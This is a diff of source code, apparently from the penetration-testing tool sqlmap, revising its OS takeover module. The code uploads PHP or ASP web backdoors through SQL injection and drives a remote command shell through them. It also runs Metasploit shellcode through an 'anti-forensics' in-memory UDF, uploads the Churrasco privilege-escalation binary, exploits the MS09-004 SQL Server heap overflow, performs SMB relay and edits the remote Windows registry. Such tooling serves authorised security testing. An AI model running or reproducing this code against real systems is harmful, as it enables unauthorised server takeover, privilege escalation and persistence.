if kb.dbms == "Microsoft SQL Server":
|
if kb.dbms == "Microsoft SQL Server":
|
||||||
return
|
return
|
||||||
|
|
||||||
for udf in ( "sys_exec", "sys_eval" ):
|
if udfDict is None:
|
||||||
message = "do you want to remove %s UDF? [Y/n] " % udf
|
udfDict = self.sysUdfs
|
||||||
|
|
||||||
|
for udf, inpRet in udfDict.items():
|
||||||
|
message = "do you want to remove UDF '%s'? [Y/n] " % udf
|
||||||
output = readInput(message, default="Y")
|
output = readInput(message, default="Y")
|
||||||
|
|
||||||
if not output or output in ("y", "Y"):
|
if not output or output in ("y", "Y"):
|
||||||
dropStr = "DROP FUNCTION %s" % udf
|
dropStr = "DROP FUNCTION %s" % udf
|
||||||
|
|
||||||
if kb.dbms == "PostgreSQL":
|
if kb.dbms == "PostgreSQL":
|
||||||
dropStr += "(text)"
|
inp = ", ".join(i for i in inpRet["input"])
|
||||||
|
dropStr += "(%s)" % inp
|
||||||
|
|
||||||
logger.debug("removing %s UDF" % udf)
|
logger.debug("removing UDF '%s'" % udf)
|
||||||
inject.goStacked(dropStr)
|
inject.goStacked(dropStr)
|
||||||
|
|
||||||
logger.info("database management system cleanup finished")
|
logger.info("database management system cleanup finished")
|
||||||
|
|
||||||
@@ -130,5 +148,5 @@ class Miscellaneous:
|
|||||||
warnMsg += "folder "
|
warnMsg += "folder "
|
||||||
|
|
||||||
warnMsg += "saved on the file system can only be deleted "
|
warnMsg += "saved on the file system can only be deleted "
|
||||||
warnMsg += "manually"
|
warnMsg += "manually"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|||||||
@@ -22,14 +22,16 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.common import getDirectories
|
from lib.core.agent import agent
|
||||||
|
from lib.core.common import fileToStr
|
||||||
|
from lib.core.common import getDirs
|
||||||
|
from lib.core.common import getDocRoot
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
from lib.core.convert import urlencode
|
from lib.core.convert import hexencode
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
@@ -38,13 +40,12 @@ from lib.core.exception import sqlmapUnsupportedDBMSException
|
|||||||
from lib.core.shell import autoCompletion
|
from lib.core.shell import autoCompletion
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
from lib.takeover.abstraction import Abstraction
|
from lib.takeover.abstraction import Abstraction
|
||||||
from lib.takeover.dep import DEP
|
|
||||||
from lib.takeover.metasploit import Metasploit
|
from lib.takeover.metasploit import Metasploit
|
||||||
from lib.takeover.registry import Registry
|
from lib.takeover.registry import Registry
|
||||||
from lib.techniques.outband.stacked import stackedTest
|
from lib.techniques.outband.stacked import stackedTest
|
||||||
|
|
||||||
|
|
||||||
class Takeover(Abstraction, DEP, Metasploit, Registry):
|
class Takeover(Abstraction, Metasploit, Registry):
|
||||||
"""
|
"""
|
||||||
This class defines generic OS takeover functionalities for plugins.
|
This class defines generic OS takeover functionalities for plugins.
|
||||||
"""
|
"""
|
||||||
@@ -55,17 +56,14 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
|||||||
self.cmdFromChurrasco = False
|
self.cmdFromChurrasco = False
|
||||||
|
|
||||||
Abstraction.__init__(self)
|
Abstraction.__init__(self)
|
||||||
DEP.__init__(self)
|
|
||||||
|
|
||||||
|
|
||||||
def __webBackdoorRunCmd(self, backdoorUrl, cmd):
|
def __webBackdoorRunCmd(self, backdoorUrl, cmd):
|
||||||
"""
|
|
||||||
TODO: complete review of this code is needed
|
|
||||||
"""
|
|
||||||
|
|
||||||
output = None
|
output = None
|
||||||
|
|
||||||
cmdUrl = "%s?cmd=%s" % (backdoorUrl, conf.osCmd)
|
if not cmd:
|
||||||
|
cmd = conf.osCmd
|
||||||
|
|
||||||
|
cmdUrl = "%s?cmd=%s" % (backdoorUrl, cmd)
|
||||||
page, _ = Request.getPage(url=cmdUrl, direct=True)
|
page, _ = Request.getPage(url=cmdUrl, direct=True)
|
||||||
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
|
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
|
||||||
|
|
||||||
@@ -76,99 +74,105 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
|||||||
|
|
||||||
return output
|
return output
|
||||||
|
|
||||||
|
def __webBackdoorShell(self, backdoorUrl):
|
||||||
def __webBackdoorOsShell(self):
|
infoMsg = "calling OS shell. To quit type "
|
||||||
"""
|
infoMsg += "'x' or 'q' and press ENTER"
|
||||||
TODO: complete review of this code is needed
|
|
||||||
|
|
||||||
This method is used to write a PHP agent (cmd.php) on a writable
|
|
||||||
remote directory within the web server document root.
|
|
||||||
Such agent is written using the INTO OUTFILE MySQL DBMS
|
|
||||||
functionality
|
|
||||||
|
|
||||||
@todo:
|
|
||||||
* Add a web application crawling functionality to detect
|
|
||||||
all (at least most) web server directories and merge with
|
|
||||||
Google results if the target host is a publicly available
|
|
||||||
hostname or IP address;
|
|
||||||
* Extend the agent to other interpreters rather than only PHP:
|
|
||||||
ASP, JSP, CGI (Python, Perl, Ruby, Bash).
|
|
||||||
"""
|
|
||||||
|
|
||||||
infoMsg = "retrieving web application directories"
|
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
directories = getDirectories()
|
autoCompletion(osShell=True)
|
||||||
|
|
||||||
if directories:
|
while True:
|
||||||
infoMsg = "retrieved web server directories "
|
command = None
|
||||||
infoMsg += "'%s'" % ", ".join(d for d in directories)
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
message = "in addition you can provide a list of directories "
|
try:
|
||||||
message += "absolute path comma separated that you want sqlmap "
|
command = raw_input("os-shell> ")
|
||||||
message += "to try to upload the agent [/var/www/test]: "
|
except KeyboardInterrupt:
|
||||||
inputDirs = readInput(message, default="/var/www/test")
|
print
|
||||||
else:
|
errMsg = "user aborted"
|
||||||
message = "please provide the web server document root [/var/www]: "
|
logger.error(errMsg)
|
||||||
inputDocRoot = readInput(message, default="/var/www")
|
except EOFError:
|
||||||
|
print
|
||||||
|
errMsg = "exit"
|
||||||
|
logger.error(errMsg)
|
||||||
|
break
|
||||||
|
|
||||||
if inputDocRoot:
|
if not command:
|
||||||
kb.docRoot = inputDocRoot
|
continue
|
||||||
else:
|
|
||||||
kb.docRoot = "/var/www"
|
|
||||||
|
|
||||||
message = "please provide a list of directories absolute path "
|
if command.lower() in ( "x", "q", "exit", "quit" ):
|
||||||
message += "comma separated that you want sqlmap to try to "
|
break
|
||||||
message += "upload the agent [/var/www/test]: "
|
|
||||||
inputDirs = readInput(message, default="/var/www/test")
|
|
||||||
|
|
||||||
if inputDirs:
|
self.__webBackdoorRunCmd(backdoorUrl, command)
|
||||||
inputDirs = inputDirs.replace(", ", ",")
|
|
||||||
inputDirs = inputDirs.split(",")
|
|
||||||
|
|
||||||
for inputDir in inputDirs:
|
def __webBackdoorInit(self):
|
||||||
directories.add(inputDir)
|
"""
|
||||||
else:
|
This method is used to write a web backdoor (agent) on a writable
|
||||||
directories.add("/var/www/test")
|
remote directory within the web server document root.
|
||||||
|
"""
|
||||||
|
|
||||||
|
self.checkDbmsOs()
|
||||||
|
|
||||||
|
backdoorUrl = None
|
||||||
|
language = None
|
||||||
|
kb.docRoot = getDocRoot()
|
||||||
|
directories = getDirs()
|
||||||
|
directories = list(directories)
|
||||||
|
directories.sort()
|
||||||
|
|
||||||
infoMsg = "trying to upload the uploader agent"
|
infoMsg = "trying to upload the uploader agent"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
directories = list(directories)
|
message = "which web application language does the web server "
|
||||||
directories.sort()
|
message += "support?\n"
|
||||||
uploaded = False
|
message += "[1] ASP\n"
|
||||||
|
message += "[2] PHP (default)\n"
|
||||||
|
message += "[3] JSP"
|
||||||
|
|
||||||
backdoorName = "backdoor.php"
|
while True:
|
||||||
backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
|
choice = readInput(message, default="2")
|
||||||
uploaderName = "uploader.php"
|
|
||||||
uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
|
|
||||||
|
|
||||||
for directory in directories:
|
if not choice or choice == "2":
|
||||||
if uploaded:
|
language = "php"
|
||||||
break
|
break
|
||||||
|
|
||||||
|
elif choice == "1":
|
||||||
|
language = "asp"
|
||||||
|
break
|
||||||
|
|
||||||
|
elif choice == "3":
|
||||||
|
errMsg = "JSP web backdoor functionality is not yet "
|
||||||
|
errMsg += "implemented"
|
||||||
|
raise sqlmapUnsupportedDBMSException(errMsg)
|
||||||
|
|
||||||
|
elif not choice.isdigit():
|
||||||
|
logger.warn("invalid value, only digits are allowed")
|
||||||
|
|
||||||
|
elif int(choice) < 1 or int(choice) > 3:
|
||||||
|
logger.warn("invalid value, it must be 1 or 3")
|
||||||
|
|
||||||
|
backdoorName = "backdoor.%s" % language
|
||||||
|
backdoorPath = os.path.join(paths.SQLMAP_SHELL_PATH, backdoorName)
|
||||||
|
uploaderName = "uploader.%s" % language
|
||||||
|
uploaderStr = fileToStr(os.path.join(paths.SQLMAP_SHELL_PATH, uploaderName))
|
||||||
|
|
||||||
|
for directory in directories:
|
||||||
# Upload the uploader agent
|
# Upload the uploader agent
|
||||||
uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory)
|
outFile = os.path.normpath("%s/%s" % (directory, uploaderName))
|
||||||
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
|
uplQuery = uploaderStr.replace("WRITABLE_DIR", directory)
|
||||||
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
|
query = " LIMIT 1 INTO OUTFILE '%s' " % outFile
|
||||||
|
query += "LINES TERMINATED BY 0x%s --" % hexencode(uplQuery)
|
||||||
|
query = agent.prefixQuery(" %s" % query)
|
||||||
|
query = agent.postfixQuery(query)
|
||||||
|
payload = agent.payload(newValue=query)
|
||||||
|
page = Request.queryPage(payload)
|
||||||
|
|
||||||
query = agent.prefixQuery(" %s" % query)
|
requestDir = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/"))
|
||||||
query = agent.postfixQuery(query)
|
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
|
||||||
|
|
||||||
payload = agent.payload(newValue=query)
|
|
||||||
page = Request.queryPage(payload)
|
|
||||||
|
|
||||||
if kb.docRoot:
|
|
||||||
requestDir = directory.replace(kb.docRoot, "")
|
|
||||||
else:
|
|
||||||
requestDir = directory
|
|
||||||
|
|
||||||
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
|
|
||||||
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
|
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
|
||||||
page, _ = Request.getPage(url=uploaderUrl, direct=True)
|
uploaderUrl = uploaderUrl.replace("./", "/").replace("\\", "/").replace("//", "/")
|
||||||
|
uplPage, _ = Request.getPage(url=uploaderUrl, direct=True)
|
||||||
|
|
||||||
if "sqlmap backdoor uploader" not in page:
|
if "sqlmap backdoor uploader" not in uplPage:
|
||||||
warnMsg = "unable to upload the uploader "
|
warnMsg = "unable to upload the uploader "
|
||||||
warnMsg += "agent on '%s'" % directory
|
warnMsg += "agent on '%s'" % directory
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
@@ -180,66 +184,48 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
# Upload the backdoor through the uploader agent
|
# Upload the backdoor through the uploader agent
|
||||||
multipartParams = {
|
if language == "php":
|
||||||
"upload": "1",
|
multipartParams = {
|
||||||
"file": open(backdoorPath, "r"),
|
"upload": "1",
|
||||||
"uploadDir": directory,
|
"file": open(backdoorPath, "r"),
|
||||||
}
|
"uploadDir": directory,
|
||||||
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
|
}
|
||||||
page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
|
page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
|
||||||
|
|
||||||
if "Backdoor uploaded" not in page:
|
if "Backdoor uploaded" not in page:
|
||||||
warnMsg = "unable to upload the backdoor through "
|
warnMsg = "unable to upload the backdoor through "
|
||||||
warnMsg += "the uploader agent on '%s'" % directory
|
warnMsg += "the uploader agent on '%s'" % directory
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
continue
|
|
||||||
|
|
||||||
uploaded = True
|
|
||||||
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
|
|
||||||
|
|
||||||
infoMsg = "the backdoor has been successfully uploaded on "
|
|
||||||
infoMsg += "'%s', go with your browser to " % directory
|
|
||||||
infoMsg += "'%s' and enjoy it!" % backdoorUrl
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
if conf.osShell:
|
|
||||||
message = "do you want to use the uploaded backdoor as a "
|
|
||||||
message += "shell to execute commands right now? [Y/n] "
|
|
||||||
shell = readInput(message, default="Y")
|
|
||||||
|
|
||||||
if shell in ("n", "N"):
|
|
||||||
continue
|
continue
|
||||||
|
|
||||||
infoMsg = "calling OS shell. To quit type "
|
elif language == "asp":
|
||||||
infoMsg += "'x' or 'q' and press ENTER"
|
backdoorRemotePath = "%s/%s" % (directory, backdoorName)
|
||||||
logger.info(infoMsg)
|
backdoorRemotePath = os.path.normpath(backdoorRemotePath)
|
||||||
|
backdoorContent = open(backdoorPath, "r").read()
|
||||||
|
postStr = "f=%s&d=%s" % (backdoorRemotePath, backdoorContent)
|
||||||
|
page, _ = Request.getPage(url=uploaderUrl, direct=True, post=postStr)
|
||||||
|
|
||||||
autoCompletion(osShell=True)
|
if "permission denied" in page.lower():
|
||||||
|
warnMsg = "unable to upload the backdoor through "
|
||||||
|
warnMsg += "the uploader agent on '%s'" % directory
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
while True:
|
continue
|
||||||
command = None
|
|
||||||
|
|
||||||
try:
|
elif language == "jsp":
|
||||||
command = raw_input("os-shell> ")
|
pass
|
||||||
except KeyboardInterrupt:
|
|
||||||
print
|
|
||||||
errMsg = "user aborted"
|
|
||||||
logger.error(errMsg)
|
|
||||||
except EOFError:
|
|
||||||
print
|
|
||||||
errMsg = "exit"
|
|
||||||
logger.error(errMsg)
|
|
||||||
break
|
|
||||||
|
|
||||||
if not command:
|
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
|
||||||
continue
|
|
||||||
|
|
||||||
if command.lower() in ( "x", "q", "exit", "quit" ):
|
infoMsg = "the backdoor has probably been successfully "
|
||||||
break
|
infoMsg += "uploaded on '%s', go with your browser " % directory
|
||||||
|
infoMsg += "to '%s' and enjoy it!" % backdoorUrl
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
self.__webBackdoorRunCmd(backdoorUrl, command)
|
break
|
||||||
|
|
||||||
|
return backdoorUrl
|
||||||
|
|
||||||
def uploadChurrasco(self):
|
def uploadChurrasco(self):
|
||||||
msg = "do you want sqlmap to upload Churrasco and call the "
|
msg = "do you want sqlmap to upload Churrasco and call the "
|
||||||
@@ -249,76 +235,103 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
|||||||
output = readInput(msg, default="Y")
|
output = readInput(msg, default="Y")
|
||||||
|
|
||||||
if not output or output[0] in ( "y", "Y" ):
|
if not output or output[0] in ( "y", "Y" ):
|
||||||
# TODO: add also compiled/packed Churrasco for Windows 2008
|
wFile = os.path.join(paths.SQLMAP_CONTRIB_PATH, "tokenkidnapping", "Churrasco.exe")
|
||||||
wFile = "%s/tokenkidnapping/Churrasco.exe" % paths.SQLMAP_CONTRIB_PATH
|
|
||||||
|
|
||||||
self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True))
|
self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True))
|
||||||
self.cmdFromChurrasco = True
|
self.cmdFromChurrasco = True
|
||||||
|
|
||||||
# NOTE: no need to handle DEP for Churrasco executable because
|
|
||||||
# it spawns a new process as the SYSTEM user token to execute
|
|
||||||
# the executable passed as argument
|
|
||||||
self.writeFile(wFile, self.churrascoPath, "binary", confirm=False)
|
self.writeFile(wFile, self.churrascoPath, "binary", confirm=False)
|
||||||
|
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def osCmd(self):
|
def osCmd(self):
|
||||||
stackedTest()
|
stackedTest()
|
||||||
|
|
||||||
if kb.stackedTest == False:
|
if not kb.stackedTest:
|
||||||
return
|
|
||||||
|
|
||||||
self.initEnv()
|
|
||||||
self.runCmd(conf.osCmd)
|
|
||||||
|
|
||||||
|
|
||||||
def osShell(self):
|
|
||||||
stackedTest()
|
|
||||||
|
|
||||||
if kb.stackedTest == False:
|
|
||||||
infoMsg = "going to upload a web page backdoor for command "
|
infoMsg = "going to upload a web page backdoor for command "
|
||||||
infoMsg += "execution"
|
infoMsg += "execution"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
self.__webBackdoorOsShell()
|
backdoorUrl = self.__webBackdoorInit()
|
||||||
|
|
||||||
|
if backdoorUrl:
|
||||||
|
self.__webBackdoorRunCmd(backdoorUrl, conf.osCmd)
|
||||||
|
else:
|
||||||
|
self.initEnv()
|
||||||
|
self.runCmd(conf.osCmd)
|
||||||
|
|
||||||
|
def osShell(self):
|
||||||
|
stackedTest()
|
||||||
|
|
||||||
|
if not kb.stackedTest:
|
||||||
|
infoMsg = "going to upload a web page backdoor for command "
|
||||||
|
infoMsg += "execution"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
backdoorUrl = self.__webBackdoorInit()
|
||||||
|
|
||||||
|
if backdoorUrl:
|
||||||
|
self.__webBackdoorShell(backdoorUrl)
|
||||||
else:
|
else:
|
||||||
self.initEnv()
|
self.initEnv()
|
||||||
self.absOsShell()
|
self.absOsShell()
|
||||||
|
|
||||||
|
|
||||||
def osPwn(self):
|
def osPwn(self):
|
||||||
stackedTest()
|
stackedTest()
|
||||||
|
|
||||||
if kb.stackedTest == False:
|
if not kb.stackedTest:
|
||||||
return
|
return
|
||||||
|
|
||||||
self.initEnv()
|
self.initEnv()
|
||||||
self.getRemoteTempPath()
|
self.getRemoteTempPath()
|
||||||
self.createMsfPayloadStager()
|
|
||||||
self.uploadMsfPayloadStager()
|
|
||||||
|
|
||||||
if kb.os == "Windows":
|
goUdf = False
|
||||||
# NOTE: no need to add an exception to DEP for the payload
|
|
||||||
# stager because it already sets the memory to +rwx before
|
|
||||||
# copying the shellcode into that memory page
|
|
||||||
#self.handleDep(self.exeFilePathRemote)
|
|
||||||
|
|
||||||
if conf.privEsc and kb.dbms == "MySQL":
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
|
msg = "how do you want to execute the Metasploit shellcode "
|
||||||
|
msg += "on the back-end database underlying operating system?"
|
||||||
|
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
|
||||||
|
msg += "\n[2] Stand-alone payload stager (file system way)"
|
||||||
|
|
||||||
|
while True:
|
||||||
|
choice = readInput(msg, default=1)
|
||||||
|
|
||||||
|
if isinstance(choice, str) and choice.isdigit() and int(choice) in ( 1, 2 ):
|
||||||
|
choice = int(choice)
|
||||||
|
break
|
||||||
|
|
||||||
|
elif isinstance(choice, int) and choice in ( 1, 2 ):
|
||||||
|
break
|
||||||
|
|
||||||
|
else:
|
||||||
|
warnMsg = "invalid value, valid values are 1 and 2"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
if choice == 1:
|
||||||
|
goUdf = True
|
||||||
|
|
||||||
|
if goUdf:
|
||||||
|
self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
|
||||||
|
else:
|
||||||
|
self.createMsfPayloadStager()
|
||||||
|
self.uploadMsfPayloadStager()
|
||||||
|
|
||||||
|
if kb.os == "Windows" and conf.privEsc:
|
||||||
|
if kb.dbms == "MySQL":
|
||||||
debugMsg = "by default MySQL on Windows runs as SYSTEM "
|
debugMsg = "by default MySQL on Windows runs as SYSTEM "
|
||||||
debugMsg += "user, no need to privilege escalate"
|
debugMsg += "user, no need to privilege escalate"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
elif conf.privEsc and kb.dbms == "PostgreSQL":
|
elif kb.dbms == "PostgreSQL":
|
||||||
warnMsg = "by default PostgreSQL on Windows runs as postgres "
|
warnMsg = "by default PostgreSQL on Windows runs as postgres "
|
||||||
warnMsg += "user which has no Windows Impersonation "
|
warnMsg += "user which has no Windows Impersonation "
|
||||||
warnMsg += "Tokens: it is unlikely that the privilege "
|
warnMsg += "Tokens: it is unlikely that the privilege "
|
||||||
warnMsg += "escalation will be successful"
|
warnMsg += "escalation will be successful"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
elif conf.privEsc and kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||||
warnMsg = "often Microsoft SQL Server %s " % kb.dbmsVersion[0]
|
warnMsg = "often Microsoft SQL Server %s " % kb.dbmsVersion[0]
|
||||||
warnMsg += "runs as Network Service which has no Windows "
|
warnMsg += "runs as Network Service which has no Windows "
|
||||||
warnMsg += "Impersonation Tokens within all threads, this "
|
warnMsg += "Impersonation Tokens within all threads, this "
|
||||||
@@ -328,7 +341,7 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
|||||||
|
|
||||||
uploaded = self.uploadChurrasco()
|
uploaded = self.uploadChurrasco()
|
||||||
|
|
||||||
if uploaded == False:
|
if not uploaded:
|
||||||
warnMsg = "beware that the privilege escalation "
|
warnMsg = "beware that the privilege escalation "
|
||||||
warnMsg += "might not work"
|
warnMsg += "might not work"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
@@ -338,8 +351,7 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
|||||||
# system is not Windows
|
# system is not Windows
|
||||||
conf.privEsc = False
|
conf.privEsc = False
|
||||||
|
|
||||||
self.pwn()
|
self.pwn(goUdf)
|
||||||
|
|
||||||
|
|
||||||
def osSmb(self):
|
def osSmb(self):
|
||||||
stackedTest()
|
stackedTest()
|
||||||
@@ -350,14 +362,14 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
|||||||
errMsg = "the back-end DBMS underlying operating system is "
|
errMsg = "the back-end DBMS underlying operating system is "
|
||||||
errMsg += "not Windows: it is not possible to perform the SMB "
|
errMsg += "not Windows: it is not possible to perform the SMB "
|
||||||
errMsg += "relay attack"
|
errMsg += "relay attack"
|
||||||
raise sqlmapUnsupportedDBMSException, errMsg
|
raise sqlmapUnsupportedDBMSException(errMsg)
|
||||||
|
|
||||||
if kb.stackedTest == False:
|
if not kb.stackedTest:
|
||||||
if kb.dbms in ( "PostgreSQL", "Microsoft SQL Server" ):
|
if kb.dbms in ( "PostgreSQL", "Microsoft SQL Server" ):
|
||||||
errMsg = "on this back-end DBMS it is only possible to "
|
errMsg = "on this back-end DBMS it is only possible to "
|
||||||
errMsg += "perform the SMB relay attack if stacked "
|
errMsg += "perform the SMB relay attack if stacked "
|
||||||
errMsg += "queries are supported"
|
errMsg += "queries are supported"
|
||||||
raise sqlmapUnsupportedDBMSException, errMsg
|
raise sqlmapUnsupportedDBMSException(errMsg)
|
||||||
|
|
||||||
elif kb.dbms == "MySQL":
|
elif kb.dbms == "MySQL":
|
||||||
debugMsg = "since stacked queries are not supported, "
|
debugMsg = "since stacked queries are not supported, "
|
||||||
@@ -388,16 +400,15 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
|||||||
else:
|
else:
|
||||||
printWarn = False
|
printWarn = False
|
||||||
|
|
||||||
if printWarn == True:
|
if printWarn:
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
self.smb()
|
self.smb()
|
||||||
|
|
||||||
|
|
||||||
def osBof(self):
|
def osBof(self):
|
||||||
stackedTest()
|
stackedTest()
|
||||||
|
|
||||||
if kb.stackedTest == False:
|
if not kb.stackedTest:
|
||||||
return
|
return
|
||||||
|
|
||||||
if not kb.dbms == "Microsoft SQL Server" or kb.dbmsVersion[0] not in ( "2000", "2005" ):
|
if not kb.dbms == "Microsoft SQL Server" or kb.dbmsVersion[0] not in ( "2000", "2005" ):
|
||||||
@@ -405,18 +416,137 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
|||||||
errMsg += "2000 or 2005 to be able to exploit the heap-based "
|
errMsg += "2000 or 2005 to be able to exploit the heap-based "
|
||||||
errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
|
errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
|
||||||
errMsg += "stored procedure (MS09-004)"
|
errMsg += "stored procedure (MS09-004)"
|
||||||
raise sqlmapUnsupportedDBMSException, errMsg
|
raise sqlmapUnsupportedDBMSException(errMsg)
|
||||||
|
|
||||||
infoMsg = "going to exploit the Microsoft SQL Server %s " % kb.dbmsVersion[0]
|
infoMsg = "going to exploit the Microsoft SQL Server %s " % kb.dbmsVersion[0]
|
||||||
infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
|
infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
|
||||||
infoMsg += "buffer overflow (MS09-004)"
|
infoMsg += "buffer overflow (MS09-004)"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
# NOTE: only needed to handle DEP
|
|
||||||
self.initEnv(mandatory=False, detailed=True)
|
self.initEnv(mandatory=False, detailed=True)
|
||||||
|
|
||||||
self.getRemoteTempPath()
|
self.getRemoteTempPath()
|
||||||
self.createMsfShellcode()
|
self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
|
||||||
self.overflowBypassDEP()
|
|
||||||
self.bof()
|
self.bof()
|
||||||
self.delException()
|
|
||||||
|
def __regInit(self):
|
||||||
|
stackedTest()
|
||||||
|
|
||||||
|
if not kb.stackedTest:
|
||||||
|
return
|
||||||
|
|
||||||
|
self.checkDbmsOs()
|
||||||
|
|
||||||
|
if kb.os != "Windows":
|
||||||
|
errMsg = "the back-end DBMS underlying operating system is "
|
||||||
|
errMsg += "not Windows"
|
||||||
|
raise sqlmapUnsupportedDBMSException(errMsg)
|
||||||
|
|
||||||
|
self.initEnv()
|
||||||
|
self.getRemoteTempPath()
|
||||||
|
|
||||||
|
def regRead(self):
|
||||||
|
self.__regInit()
|
||||||
|
|
||||||
|
if not conf.regKey:
|
||||||
|
default = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
|
||||||
|
msg = "which registry key do you want to read? [%s] " % default
|
||||||
|
regKey = readInput(msg, default=default)
|
||||||
|
else:
|
||||||
|
regKey = conf.regKey
|
||||||
|
|
||||||
|
if not conf.regVal:
|
||||||
|
default = "ProductName"
|
||||||
|
msg = "which registry key value do you want to read? [%s] " % default
|
||||||
|
regVal = readInput(msg, default=default)
|
||||||
|
else:
|
||||||
|
regVal = conf.regVal
|
||||||
|
|
||||||
|
infoMsg = "reading Windows registry path '%s\%s' " % (regKey, regVal)
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
return self.readRegKey(regKey, regVal, False)
|
||||||
|
|
||||||
|
def regAdd(self):
|
||||||
|
self.__regInit()
|
||||||
|
|
||||||
|
errMsg = "missing mandatory option"
|
||||||
|
|
||||||
|
if not conf.regKey:
|
||||||
|
msg = "which registry key do you want to write? "
|
||||||
|
regKey = readInput(msg)
|
||||||
|
|
||||||
|
if not regKey:
|
||||||
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||||
|
else:
|
||||||
|
regKey = conf.regKey
|
||||||
|
|
||||||
|
if not conf.regVal:
|
||||||
|
msg = "which registry key value do you want to write? "
|
||||||
|
regVal = readInput(msg)
|
||||||
|
|
||||||
|
if not regVal:
|
||||||
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||||
|
else:
|
||||||
|
regVal = conf.regVal
|
||||||
|
|
||||||
|
if not conf.regData:
|
||||||
|
msg = "which registry key value data do you want to write? "
|
||||||
|
regData = readInput(msg)
|
||||||
|
|
||||||
|
if not regData:
|
||||||
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||||
|
else:
|
||||||
|
regData = conf.regData
|
||||||
|
|
||||||
|
if not conf.regType:
|
||||||
|
default = "REG_SZ"
|
||||||
|
msg = "which registry key value data-type is it? "
|
||||||
|
msg += "[%s] " % default
|
||||||
|
regType = readInput(msg, default=default)
|
||||||
|
else:
|
||||||
|
regType = conf.regType
|
||||||
|
|
||||||
|
infoMsg = "adding Windows registry path '%s\%s' " % (regKey, regVal)
|
||||||
|
infoMsg += "with data '%s'. " % regData
